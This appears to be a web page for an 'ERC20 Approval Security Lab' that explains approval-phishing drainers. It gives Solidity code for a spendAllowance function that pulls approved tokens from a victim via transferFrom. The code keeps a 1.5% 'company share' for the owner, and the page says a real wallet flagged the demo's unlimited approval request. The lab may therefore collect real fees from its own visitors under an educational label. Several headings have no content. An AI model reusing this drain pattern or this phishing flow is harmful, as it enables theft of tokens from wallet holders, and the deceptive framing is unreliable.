AllowanceLab

ERC20 Approval Security Lab

Scammers steal funds by making normal wallet mechanics look harmless. One common attack vector relies on tricking someone into signing a deceptive ERC20 approve() transaction.

When you interact with legitimate protocols (like Uniswap), you must "approve" the contract to spend your tokens. Scammers abuse this exact mechanism by asking for an "infinite approval" to a malicious contract they control.

// The educational transferFrom pattern
function spendAllowance(address tokenAddress, address from, uint256 amount) external onlyOwner {
    IERC20 token = IERC20(tokenAddress);

    // 1. Check if the user has approved this contract
    uint256 allowed = token.allowance(from, address(this));
    require(allowed >= amount, "Not enough allowance");

    // 2. Transfer funds from the victim to the contract
    bool success = token.transferFrom(from, address(this), amount);
    require(success, "transferFrom failed");
    
    // 3. Educational split: 1.5% fee, 98.5% auto-refund
    uint256 companyShare = (amount * 15) / 1000;
    uint256 refundShare = amount - companyShare;
    token.transfer(owner, companyShare);
    token.transfer(from, refundShare);
}

How the Attack Executes

1. The Phishing Site: You are lured to a fake website offering a free mint, airdrop, or exclusive access.
2. The Deceptive Prompt: When you click the button, instead of a mint transaction, MetaMask prompts you to sign an approve() transaction. The UI might hide the true intent.
3. The Drain: Once you grant permission, the scammer instantly calls spendAllowance() (or similar) on their contract.
4. The Theft: The malicious contract uses transferFrom() to silently pull all your approved tokens directly out of your wallet into the scammer's wallet.

Why Wallets Show Warnings

Wallets may warn because an approval is a permission, not a transfer. Risk systems look at allowance size, spender reputation, domain reputation, token value, blocklists, and whether the request resembles known phishing flows.

How Approval Drainers Actually Work

The dangerous part is the second transaction. After approval, the spender can call transferFrom() later without another wallet popup, up to the approved amount.

Approval vs Signature

How to Revoke Permissions

Revoking means sending a new token transaction that sets the spender allowance to zero. It does not disconnect a site; it removes the spender's on-chain permission.

Safe vs Unsafe Approval Examples

Modern Wallet Defenses

Wallets increasingly simulate requests and score spender reputation before letting users approve. This real Coinbase Wallet warning appeared during this demo because the request used an unlimited spending cap for an untrusted spender.

Frequently Asked Questions (FAQ)